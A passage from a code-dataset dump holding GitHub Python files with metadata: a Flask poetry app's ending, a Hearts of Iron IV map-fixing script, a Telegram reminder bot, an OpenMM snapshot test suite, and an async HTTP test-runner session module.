render_template('post.html',params=params,results=['','',''],seed_text='')\n\n\n\nif __name__ == \"__main__\":\n\tapp.run(debug=True)\n#,host='0.0.0.0',port=int(os.environ.get('PORT',8080))\n#     app.run(debug=False)\n", "repo_name": "kartikay1999/Poetry-Generation-Using-Bidirectional-lstm", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 4780, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.path.join", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path", "line_number": 14, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 14, "usage_type": "call"}, {"api_name": "keras.models.load_model", "line_number": 15, "usage_type": "call"}, {"api_name": "model_functs.suggestions", "line_number": 19, "usage_type": "call"}, {"api_name": "model_functs.suggestions", "line_number": 20, "usage_type": "call"}, {"api_name": "model_functs.suggestions", "line_number": 21, "usage_type": "call"}, {"api_name": "json.load", "line_number": 30, "usage_type": "call"}, {"api_name": "flask.Flask", "line_number": 33, "usage_type": "call"}, {"api_name": "flask_mail.Mail", "line_number": 43, "usage_type": "call"}, {"api_name": "flask_sqlalchemy.SQLAlchemy", "line_number": 49, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 72, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 78, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 78, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 80, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 80, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 80, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 81, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 81, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 81, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 82, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 82, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 82, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 83, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 83, "usage_type": "name"}, {"api_name": "model_functs.generate_text", "line_number": 85, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 91, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 98, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 102, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 102, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 103, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 103, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 103, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 104, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 104, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 104, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 105, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 105, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 105, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 106, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 106, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 106, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 113, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 118, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 118, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 120, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 120, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 120, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 124, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 129, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 131, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 132, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 132, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 133, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 133, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 133, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 134, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 134, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 134, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 137, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 139, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 141, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 148, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 151, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 151, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 152, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 152, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 152, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 157, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 159, "usage_type": "call"}]}
{"seq_id": "29600694729", "text": "from tkinter import filedialog\nfrom PIL import Image\n\ndef get_crossing_position():\n    full_filename = filedialog.askopenfilename(title = \"Choose error.log file\")\n    file_str_original = open(full_filename)\n    all_text_str = file_str_original.readlines()\n    file_str_original.close()\n\n    text_list = []\n    for i in range(len(all_text_str)):\n        if 'Map invalid X crossing' in all_text_str[i]:\n            text_list.append(all_text_str[i])\n\n    crossing_position_list = []\n    for i in range(len(text_list)):\n        text_list[i] = text_list[i].split(':')\n        x, y = text_list[i][5].split(',')\n        x = int(x)\n        y = int(y)\n        crossing_position_list.append([x,y])\n\n    return crossing_position_list\n\ndef fix_pixels_crossing():\n    crossing_position_list = get_crossing_position()\n    full_filename = filedialog.askopenfilename(title = \"Choose Province Map File (province.bmp)\", filetypes={(\"HOI Map file\", \".bmp\")})\n    im = Image.open(full_filename)\n    pixels = im.load()\n\n    for i in range(len(crossing_position_list)):\n        x = crossing_position_list[i][0]\n        y = crossing_position_list[i][1]\n        pixels[x,y-2] = pixels[x,y-1]\n\n    save_file = filedialog.asksaveasfilename(title = \"save province.bmp\")\n    im.save(save_file)\n\ndef main():\n    fix_pixels_crossing()\n\nif __name__ == \"__main__\":\n    main()\n", "repo_name": "EOE0102/HOI4-mod-tools", "sub_path": "EOE_A_Map/2_Fix_Common_Map_Error/fix_pixel_crossing.py", "file_name": "fix_pixel_crossing.py", "file_ext": "py", "file_size_in_byte": 1344, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "78", "api": [{"api_name": "tkinter.filedialog.askopenfilename", "line_number": 5, "usage_type": "call"}, {"api_name": "tkinter.filedialog", "line_number": 5, "usage_type": "name"}, {"api_name": "tkinter.filedialog.askopenfilename", "line_number": 27, "usage_type": "call"}, {"api_name": "tkinter.filedialog", "line_number": 27, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 28, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 28, "usage_type": "name"}, {"api_name": "tkinter.filedialog.asksaveasfilename", "line_number": 36, "usage_type": "call"}, {"api_name": "tkinter.filedialog", "line_number": 36, "usage_type": "name"}]}
{"seq_id": "39359180900", "text": "#!/usr/bin/python3\nimport json\nimport telepot\nimport logging\nfrom telepot.delegate import per_chat_id, create_open, pave_event_space\nfrom apscheduler.schedulers.background import BackgroundScheduler\nfrom datetime import time\nimport databases\n\nclass Sentance_Scheduler():\n\n    def __init__(self, chat_id):\n        self.chat_id = chat_id\n        self.db = databases.SQL3_Manager(\"DB{}.db\".format(chat_id))\n        global jobStore\n        global config\n\n    def sched_init(self, layer_times = None):\n        if not layer_times:\n            layer_times = {\"rock\": config['default_time']}\n        #reset jobStore\n        if self.chat_id in jobStore.keys():\n            for job in jobStore[self.chat_id]:\n                logger.info(\"sched_update: remove job : {}\".format(job))\n                job.remove()\n            jobStore.pop(self.chat_id)\n\n        for layer, times in layer_times.items():\n            for time in times:\n                self.add_task(self.chat_id, time, layer=layer)\n\n    def print_all_tasks(self):\n        logger.info(\"keys: {}\".format(jobStore.keys()))\n        if not self.chat_id in jobStore.keys():\n            return 'There is no Notifications'\n\n        result = \"Notification Table:\\n\"\n\n        jobs = jobStore[self.chat_id]\n\n        logger.info(\"jobs: {}\".format(jobs))\n        if bool(jobs):\n            for i, s in enumerate(jobs):\n                result += '{0}.\\n{1}\\n{2}\\n\\n'.format(i + 1, s.name,\n                                                                                 \":\".join(str(s.next_run_time).split(\":\")[:2]))\n        else:\n            result += \"empty\\n\"\n        return result\n\n    def add_task(self, chat_id, run_at, layer, pick_mode=\"RANDOM\"):\n        if not chat_id in jobStore.keys():\n            jobStore[chat_id] = []\n        if pick_mode == \"RANDOM\":\n            job = mainSchedule.add_job(self.db.pick_randomly, 'cron', hour=run_at.hour, minute=run_at.minute, args=[\"rock\"])\n        elif pick_mode == \"LOW_WEIGHT\":\n            job = mainSchedule.add_job(self.db.pick_weight, 'cron', hour=run_at.hour, minute=run_at.minute, args=[layer, chat_id])\n        else:\n            logger.error(\"Err: args err\")\n            return\n        jobStore[chat_id].append(job)\n\n    def modify_task(self):\n        pass\n\n    def remove_task(self):\n        pass\n\n\nclass Reminder(telepot.helper.ChatHandler):\n    MENU_START = 'Start Reminder'\n    MENU_STATUS = 'Notification List'\n    MENU_RESET = 'RESET'\n    HOME = 'HOME'\n\n    def __init__(self, *args, **kwargs):\n        super(Reminder, self).__init__(*args, **kwargs)\n        logger.info(\"Start Reminder\")\n        self.mScheduler = None\n        global schedStore\n\n    def open(self, initial_msg, seed):\n        logger.info(\"Open()\")\n        self.do_HOME()\n        return True  # prevent on_message() from being called on the initial message\n\n    def do_HOME(self):\n        self.sender.sendMessage(\"Yes, I'm Re-Reminder.\")\n        show_keyboard = {'keyboard': [\n            [self.MENU_START], [self.MENU_STATUS], [self.MENU_RESET], [self.HOME]]}\n        self.sender.sendMessage('Choose a option.', reply_markup=show_keyboard)\n\n    def do_MENU_START(self):\n        if self.chat_id in schedStore.keys():\n            self.mScheduler = schedStore[self.chat_id]\n            self.sender.sendMessage(\"Data Restoring has completed\")\n        else:\n            self.mScheduler = Sentance_Scheduler(self.chatID)\n            schedStore[self.chat_id] = self.mScheduler\n            self.mScheduler.sched_init()\n            self.sender.sendMessage(\"The New registration has completed\")\n\n\n    def do_MENU_STATUS(self):\n        if not self.mScheduler:\n            self.do_MENU_START()\n            self.sender.sendMessage(self.mScheduler.print_all_tasks())\n        else:\n            self.sender.sendMessage(self.mScheduler.print_all_tasks())\n\n    def do_MENU_RESET(self):\n        logger.info(\"do_MENU_RESET()\")\n        if not self.mScheduler:\n            self.sender.sendMessage(\"Nothing to do\")\n        else:\n            self.mScheduler = None\n            if self.chat_id in schedStore.keys():\n                del schedStore[self.chat_id]\n            self.sender.sendMessage(\"Your Info has Removed\")\n\n    def handle_text(self, cmd):\n        if cmd == self.MENU_START:\n            self.do_MENU_START()\n        elif cmd == self.HOME:\n            self.do_HOME()\n        elif cmd == self.MENU_STATUS:\n            self.do_MENU_STATUS()\n        elif cmd == self.MENU_RESET:\n            self.do_MENU_RESET()\n\n    def on_chat_message(self, msg):\n        logger.info(\"on_chat_message()\")\n        content_type, chat_type, chat_id = telepot.glance(msg)\n        self.chatID = chat_id\n\n        # Check ID\n        if not chat_id in config['valid_chat_id']:\n            self.sender.sendMessage(\"Permission Denied\")\n            return\n\n        if content_type is 'text':\n            self.handle_text(msg['text'])\n            return\n\n    def on_close(self, exception):\n        pass\n\n\nclass ConfigParser():\n\n    def load(self, file):\n        f = open(file, 'r')\n        configDic = json.loads(f.read())\n        f.close()\n        if not bool(configDic):\n            return False\n        outDic={}\n        outDic['token'] = configDic['common']['token']\n        outDic['valid_chat_id'] = configDic['common']['valid_chat_id']\n        outDic['default_time'] = self.getDefaultTime(configDic)\n        outDic['default_time_zone'] = configDic['common']['default_time_zone']\n        return outDic\n\n    def getDefaultTime(self, configDic):\n        self.default_times = []\n        for t in configDic['common']['default_time']:\n            hour = int(t.split(\":\")[0])\n            minute = int(t.split(\":\")[1])\n            self.default_times.append(time(hour, minute))\n        return list(set(self.default_times))\n\n# logging\nlogger = logging.getLogger('reminder')\nlogger.setLevel(logging.DEBUG)\nch = logging.StreamHandler()\nch.setLevel(logging.DEBUG)\nch.setFormatter(logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s'))\nlogger.addHandler(ch)\nch = logging.FileHandler(filename=\"debug.log\")\nch.setLevel(logging.DEBUG)\nch.setFormatter(logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s'))\nlogger.addHandler(ch)\n\n# Parse a config\nconfig = ConfigParser().load(\"setting.json\")\nif not config:\n    logging.error(\"Err: Nothing to be parsed\")\nvalid_users = config['valid_chat_id']\n\n# Start scheduler\nmainSchedule = BackgroundScheduler(timezone=config['default_time_zone'])\nmainSchedule.start()\n\n# Job store for scheduler\njobStore = dict()\nschedStore = dict()\n\nbot = telepot.DelegatorBot(config['token'], [\n    pave_event_space()(\n        per_chat_id(), create_open, Reminder, timeout=10),\n])\nbot.message_loop(run_forever='Listening ...')\n", "repo_name": "seungjuchoi/telegram-reminder", "sub_path": "telegram_reminder.py", "file_name": "telegram_reminder.py", "file_ext": "py", "file_size_in_byte": 6707, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "databases.SQL3_Manager", "line_number": 14, "usage_type": "call"}, {"api_name": "datetime.time", "line_number": 29, "usage_type": "name"}, {"api_name": "datetime.time", "line_number": 30, "usage_type": "argument"}, {"api_name": "telepot.helper", "line_number": 69, "usage_type": "attribute"}, {"api_name": "telepot.glance", "line_number": 132, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 152, "usage_type": "call"}, {"api_name": "datetime.time", "line_number": 168, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 172, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 173, "usage_type": "attribute"}, {"api_name": "logging.StreamHandler", "line_number": 174, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 175, "usage_type": "attribute"}, {"api_name": "logging.Formatter", "line_number": 176, "usage_type": "call"}, {"api_name": "logging.FileHandler", "line_number": 178, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 179, "usage_type": "attribute"}, {"api_name": "logging.Formatter", "line_number": 180, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 186, "usage_type": "call"}, {"api_name": "apscheduler.schedulers.background.BackgroundScheduler", "line_number": 190, "usage_type": "call"}, {"api_name": "telepot.DelegatorBot", "line_number": 197, "usage_type": "call"}, {"api_name": "telepot.delegate.create_open", "line_number": 199, "usage_type": "argument"}, {"api_name": "telepot.delegate.pave_event_space", "line_number": 198, "usage_type": "call"}, {"api_name": "telepot.delegate.per_chat_id", "line_number": 199, "usage_type": "call"}]}
{"seq_id": "34175338385", "text": "from __future__ import division\nfrom __future__ import absolute_import\nfrom builtins import object\nimport openpathsampling.engines.openmm as omm_engine\nimport openpathsampling as paths\nfrom nose.tools import (assert_equal, assert_almost_equal, assert_not_equal,\n                        assert_is_not, assert_is)\nfrom nose.plugins.skip import SkipTest\nfrom .test_helpers import data_filename, assert_close_unit, u\n\nimport pytest\n\ntry:\n    import openmmtools as omt\nexcept ImportError:\n    omt = None\n\nfrom openpathsampling.integration_tools import openmm\nimport numpy as np\n\nimport logging\n\nlogging.getLogger('openpathsampling.initialization').setLevel(logging.CRITICAL)\nlogging.getLogger('openpathsampling.ensemble').setLevel(logging.CRITICAL)\nlogging.getLogger('openpathsampling.storage').setLevel(logging.CRITICAL)\nlogging.getLogger('openpathsampling.netcdfplus').setLevel(logging.CRITICAL)\n\nclass TestOpenMMSnapshot(object):\n    def setup_method(self):\n        if not openmm:\n            raise SkipTest(\"OpenMM not installed\")\n        if not omt:\n            raise SkipTest(\"OpenMMTools not installed; required for OpenMM \"\n                           \"tests.\")\n        self.test_system = omt.testsystems.AlanineDipeptideVacuum()\n        self.template = omm_engine.snapshot_from_testsystem(self.test_system)\n        self.engine = omm_engine.Engine(\n            topology=self.template.topology,\n            system=self.test_system.system,\n            integrator=omt.integrators.VVVRIntegrator()\n        )\n        self.n_atoms = self.engine.topology.n_atoms\n        self.test_snap = omm_engine.Snapshot.construct(\n            coordinates=self.template.coordinates,\n            box_vectors=self.template.box_vectors,\n            velocities=self.template.velocities,\n            engine=self.engine\n        )\n\n    def test_masses_from_file(self):\n        masses = self.template.masses\n        assert_equal(len(masses), self.n_atoms)\n\n    def test_masses_from_simulation(self):\n        assert len(self.test_snap.masses) == self.n_atoms\n\n    def test_masses_for_virtual_sites(self):\n        snap = omm_engine.snapshot_from_pdb(data_filename(\"tip4p_water.pdb\"))\n        snap_masses = snap.masses\n        # just check that the virtual site has a mass of 0\n        assert snap_masses[3].value_in_unit(snap_masses[3].unit) == 0\n\n    def test_n_degrees_of_freedom(self):\n        assert self.test_snap.n_degrees_of_freedom == 51\n\n    def test_instantaneous_temperature(self):\n        vel_unit = u.nanometers / u.picoseconds\n        new_velocities = [[1.0, 0.0, 0.0]] * self.n_atoms * vel_unit\n        test_snap = omm_engine.Snapshot.construct(\n            coordinates=self.template.coordinates,\n            box_vectors=self.template.box_vectors,\n            velocities=new_velocities,\n            engine=self.engine\n        )\n\n        expected_ke = sum(\n            [m * vel_unit**2 for m in test_snap.masses],\n            0.0*u.joule\n        )\n        n_dofs = 51.0  # see test above\n        assert_close_unit(test_snap.instantaneous_temperature,\n                          expected_ke / u.BOLTZMANN_CONSTANT_kB / n_dofs)\n\n    def test_instantaneous_temperature_changes(self):\n        trajectory = self.engine.generate(self.template,\n                                          [lambda t, foo: len(t) < 4])\n        temp_1 = trajectory[1].instantaneous_temperature\n        temp_2 = trajectory[2].instantaneous_temperature\n        assert_not_equal(temp_1, temp_2)\n\n    def test_mdtraj_trajectory(self):\n        snap_1 = omm_engine.snapshot_from_testsystem(self.test_system,\n                                                     periodic=False)\n        assert_is(snap_1.box_vectors, None)\n        traj_1 = snap_1.md\n        assert_equal(len(traj_1), 1)\n        assert_is_not(traj_1.xyz, None)\n        assert_is(traj_1.unitcell_vectors, None)\n\n        snap_2 = self.test_snap\n        traj_2 = snap_2.md\n        assert_equal(len(traj_2), 1)\n        assert_is_not(traj_2.xyz, None)\n        assert_is_not(traj_2.unitcell_vectors, None)\n", "repo_name": "openpathsampling/openpathsampling", "sub_path": "openpathsampling/tests/test_openmm_snapshot.py", "file_name": "test_openmm_snapshot.py", "file_ext": "py", "file_size_in_byte": 4015, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 94, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.getLogger", "line_number": 23, "usage_type": "call"}, {"api_name": "logging.CRITICAL", "line_number": 23, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 24, "usage_type": "call"}, {"api_name": "logging.CRITICAL", "line_number": 24, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 25, "usage_type": "call"}, {"api_name": "logging.CRITICAL", "line_number": 25, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 26, "usage_type": "call"}, {"api_name": "logging.CRITICAL", "line_number": 26, "usage_type": "attribute"}, {"api_name": "builtins.object", "line_number": 28, "usage_type": "name"}, {"api_name": "openpathsampling.integration_tools.openmm", "line_number": 30, "usage_type": "name"}, {"api_name": "nose.plugins.skip.SkipTest", "line_number": 31, "usage_type": "call"}, {"api_name": "nose.plugins.skip.SkipTest", "line_number": 33, "usage_type": "call"}, {"api_name": "openmmtools.testsystems.AlanineDipeptideVacuum", "line_number": 35, "usage_type": "call"}, {"api_name": "openmmtools.testsystems", "line_number": 35, "usage_type": "attribute"}, {"api_name": "openpathsampling.engines.openmm.snapshot_from_testsystem", "line_number": 36, "usage_type": "call"}, {"api_name": "openpathsampling.engines.openmm", "line_number": 36, "usage_type": "name"}, {"api_name": "openpathsampling.engines.openmm.Engine", "line_number": 37, "usage_type": "call"}, {"api_name": "openpathsampling.engines.openmm", "line_number": 37, "usage_type": "name"}, {"api_name": "openmmtools.integrators.VVVRIntegrator", "line_number": 40, "usage_type": "call"}, {"api_name": "openmmtools.integrators", "line_number": 40, "usage_type": "attribute"}, {"api_name": "openpathsampling.engines.openmm.Snapshot.construct", "line_number": 43, "usage_type": "call"}, {"api_name": "openpathsampling.engines.openmm.Snapshot", "line_number": 43, "usage_type": "attribute"}, {"api_name": "openpathsampling.engines.openmm", "line_number": 43, "usage_type": "name"}, {"api_name": "nose.tools.assert_equal", "line_number": 52, "usage_type": "call"}, {"api_name": "openpathsampling.engines.openmm.snapshot_from_pdb", "line_number": 58, "usage_type": "call"}, {"api_name": "openpathsampling.engines.openmm", "line_number": 58, "usage_type": "name"}, {"api_name": "test_helpers.data_filename", "line_number": 58, "usage_type": "call"}, {"api_name": "test_helpers.u.nanometers", "line_number": 67, "usage_type": "attribute"}, {"api_name": "test_helpers.u", "line_number": 67, "usage_type": "name"}, {"api_name": "test_helpers.u.picoseconds", "line_number": 67, "usage_type": "attribute"}, {"api_name": "openpathsampling.engines.openmm.Snapshot.construct", "line_number": 69, "usage_type": "call"}, {"api_name": "openpathsampling.engines.openmm.Snapshot", "line_number": 69, "usage_type": "attribute"}, {"api_name": "openpathsampling.engines.openmm", "line_number": 69, "usage_type": "name"}, {"api_name": "test_helpers.u.joule", "line_number": 78, "usage_type": "attribute"}, {"api_name": "test_helpers.u", "line_number": 78, "usage_type": "name"}, {"api_name": "test_helpers.assert_close_unit", "line_number": 81, "usage_type": "call"}, {"api_name": "test_helpers.u.BOLTZMANN_CONSTANT_kB", "line_number": 82, "usage_type": "attribute"}, {"api_name": "test_helpers.u", "line_number": 82, "usage_type": "name"}, {"api_name": "nose.tools.assert_not_equal", "line_number": 89, "usage_type": "call"}, {"api_name": "openpathsampling.engines.openmm.snapshot_from_testsystem", "line_number": 92, "usage_type": "call"}, {"api_name": "openpathsampling.engines.openmm", "line_number": 92, "usage_type": "name"}, {"api_name": "nose.tools.assert_is", "line_number": 94, "usage_type": "call"}, {"api_name": "nose.tools.assert_equal", "line_number": 96, "usage_type": "call"}, {"api_name": "nose.tools.assert_is_not", "line_number": 97, "usage_type": "call"}, {"api_name": "nose.tools.assert_is", "line_number": 98, "usage_type": "call"}, {"api_name": "nose.tools.assert_equal", "line_number": 102, "usage_type": "call"}, {"api_name": "nose.tools.assert_is_not", "line_number": 103, "usage_type": "call"}, {"api_name": "nose.tools.assert_is_not", "line_number": 104, "usage_type": "call"}]}
{"seq_id": "26763514200", "text": "import asyncio\nimport requests\nimport related\nimport bs4\nimport time\n\nfrom aiohttp import TCPConnector, ClientSession\nfrom . import Suite, const, get_logger\n\nsem = asyncio.Semaphore()\n\n# disable warning\nrequests.packages.urllib3.disable_warnings()\n\n\n@related.immutable\nclass Session(object):\n    suite = related.ChildField(Suite)\n\n    @staticmethod\n    def create(suite):\n        if suite.concurrency > 0:\n            loop = asyncio.get_event_loop()\n            connector = TCPConnector(\n                limit_per_host=suite.concurrency, verify_ssl=False\n            )\n            http = ClientSession(loop=loop, connector=connector)\n            return AsyncSession(\n                suite=suite, http=http, loop=loop, connector=connector\n            )\n\n        else:\n            return Session(suite=suite)\n\n    def case_scenarios(self):\n        for case in self.suite.queued.values():\n            for scenario in case.scenarios:\n                yield case, scenario\n\n    def run(self, case_scenarios=None):\n        return self.run_suite(case_scenarios)\n\n    def run_suite(self, case_scenarios=None):\n        results = []\n        if case_scenarios is None:\n            case_scenarios = self.case_scenarios()\n        for case, scenario in case_scenarios:\n            scenario_result = self.run_case_scenario(case, scenario)\n            results.append(scenario_result)\n\n        return results\n\n    def run_case_scenario(self, case, scenario):\n        from . import State\n\n        with State(session=self, case=case, scenario=scenario) as state:\n            for step_result in self.iter_steps(state):\n                state.add_step(step_result)\n            return state.result()\n\n    def iter_steps(self, state):\n        for step in state.case.steps:\n            for state.iterate in step.iterate.iterate(state.namespace):\n                if state.should_run_step(step):\n                    yield self.do_step(state, step)\n\n    def get_retries(self, state, step):\n        if step.is_retryable():\n            return state.suite.retries\n        else:\n            return 0\n\n    def do_step(self, state, step):\n        from . import StepState\n\n        retries = self.get_retries(state, step)\n        step_state = None\n\n        for retry in range(retries + 1):\n            with StepState(step=step, state=state, retry=retry) as step_state:\n                # sleep if any\n                logger = get_logger().info if retry else get_logger().debug\n                logger(\"do_step\", sleep=step_state.sleep, retry=retry)\n                time.sleep(step_state.sleep)\n\n                # do fetch\n                (response, status) = self.do_fetch(step_state)\n\n                # process response\n                step_state.process_response(response, status)\n\n            if step_state.success:\n                break\n\n        step_state.process_success()\n\n        return step_state.result()\n\n    def do_fetch(self, step_state):\n        fetch = step_state.get_fetch()\n        get_logger().debug(\"fetch request\", **related.to_dict(fetch))\n\n        kw = fetch.get_kwargs(is_aiohttp=False)\n        context = requests.request(fetch.method, fetch.url, **kw)\n        response = self.get_response(context)\n        status = context.status_code\n\n        get_logger().debug(\n            \"fetch response\",\n            response=response,\n            status=status,\n            **related.to_dict(fetch)\n        )\n\n        return response, status\n\n    def get_response(self, context):\n        content_type = context.headers.get(const.CONTENT_TYPE, \"\")\n        content_type = content_type.lower()\n\n        if const.TEXT_HTML in content_type:\n            html = OurSoup(context.content, \"html.parser\")\n            response = html\n\n        elif const.APPLICATION_JSON in content_type:\n            response = context.json()\n\n        else:\n            response = None\n\n        return response\n\n\n@related.immutable\nclass AsyncSession(Session):\n    loop = related.ChildField(object)\n    connector = related.ChildField(TCPConnector)\n    http = related.ChildField(object)\n\n    def run(self, case_scenarios=None):\n        # run and get results\n        future = asyncio.ensure_future(self.run_suite(case_scenarios))\n        self.loop.run_until_complete(future)\n        results = future.result()\n\n        # close http\n        future = asyncio.ensure_future(self.close_http())\n        self.loop.run_until_complete(future)\n\n        return results\n\n    async def close_http(self):\n        await self.http.close()\n\n    async def run_suite(self, case_scenarios=None):\n        tasks = []\n        if case_scenarios is None:\n            case_scenarios = self.case_scenarios()\n        for case, scenario in case_scenarios:\n            tasks.append(\n                asyncio.ensure_future(self.run_case_scenario(case, scenario))\n            )\n        return await asyncio.gather(*tasks, return_exceptions=False)\n\n    async def run_case_scenario(self, case, scenario):\n        # Allows only 1 scenario run at a time with same semaphore name\n        if case.semaphore is not None:\n            async with self.suite.semaphores[case.semaphore]:\n                return await self.run_single_case_scenario(case, scenario)\n        else:\n            return await self.run_single_case_scenario(case, scenario)\n\n    async def run_single_case_scenario(self, case, scenario):\n        from . import State\n\n        with State(session=self, case=case, scenario=scenario) as state:\n            async for step_result in self.iter_steps(state):\n                state.add_step(step_result)\n            scenario_result = state.result()\n            return scenario_result\n\n    async def iter_steps(self, state):\n        for step in state.case.steps:\n            for state.iterate in step.iterate.iterate(state.namespace):\n                if state.should_run_step(step):\n                    yield await self.do_step(state, step)\n\n    async def do_step(self, state, step):\n        from . import StepState\n\n        retries = self.get_retries(state, step)\n        step_state = None\n\n        for retry in range(retries + 1):\n            with StepState(step=step, state=state, retry=retry) as step_state:\n                # sleep if any\n                logger = get_logger().info if retry else get_logger().debug\n                logger(\"do_step\", sleep=step_state.sleep, retry=retry)\n                await asyncio.sleep(step_state.sleep)\n\n                # do fetch\n                (response, status) = await self.do_fetch(step_state)\n\n                # process response\n                step_state.process_response(response, status)\n\n            if step_state.success:\n                break\n\n        step_state.process_success()\n\n        return step_state.result()\n\n    async def do_fetch(self, step_state):\n        fetch = step_state.get_fetch()\n        get_logger().debug(\"fetch request\", **related.to_dict(fetch))\n\n        kw = fetch.get_kwargs(is_aiohttp=True)\n\n        try:\n            method, url = fetch.method, fetch.url\n            async with self.http.request(method, url, **kw) as context:\n                response = await self.get_response(context)\n                status = context.status\n\n        except Exception as e:  # pragma: no cover\n            get_logger().error(\n                \"do_fetch exception\", error=e, **related.to_dict(fetch)\n            )\n            response = \"Error\"\n            status = 500\n\n        get_logger().debug(\n            \"fetch response\",\n            response=response,\n            status=status,\n            **related.to_dict(fetch)\n        )\n\n        return response, status\n\n    async def get_response(self, context):\n        content_type = context.headers.get(const.CONTENT_TYPE, \"\")\n        content_type = content_type.lower()\n\n        if const.TEXT_HTML in content_type:\n            html = OurSoup(await context.text(), \"html.parser\")\n            response = html\n\n        elif const.APPLICATION_JSON in content_type:\n            response = await context.json()\n\n        elif const.TEXT_PLAIN in content_type:\n            response = await context.text()  # pragma: no cover\n\n        else:\n            response = None\n\n        return response\n\n\nclass OurSoup(bs4.BeautifulSoup):\n    def __repr__(self, **kwargs):\n        title = self.title.string if self.title else \"\"\n        body = self.body.text if self.body else \"\"\n        return \"{}\\n\\n{}\".format(title, body)\n\n\n@related.to_dict.register(OurSoup)\ndef _(obj, **kwargs):\n    return str(obj)\n", "repo_name": "poojab5/rigor", "sub_path": "src/rigor/session.py", "file_name": "session.py", "file_ext": "py", "file_size_in_byte": 8415, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "78", "api": [{"api_name": "asyncio.Semaphore", "line_number": 10, "usage_type": "call"}, {"api_name": "requests.packages.urllib3.disable_warnings", "line_number": 13, "usage_type": "call"}, {"api_name": "requests.packages", "line_number": 13, "usage_type": "attribute"}, {"api_name": "related.ChildField", "line_number": 18, "usage_type": "call"}, {"api_name": "asyncio.get_event_loop", "line_number": 23, "usage_type": "call"}, {"api_name": "aiohttp.TCPConnector", "line_number": 24, "usage_type": "call"}, {"api_name": "aiohttp.ClientSession", "line_number": 27, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 84, "usage_type": "call"}, {"api_name": "related.to_dict", "line_number": 101, "usage_type": 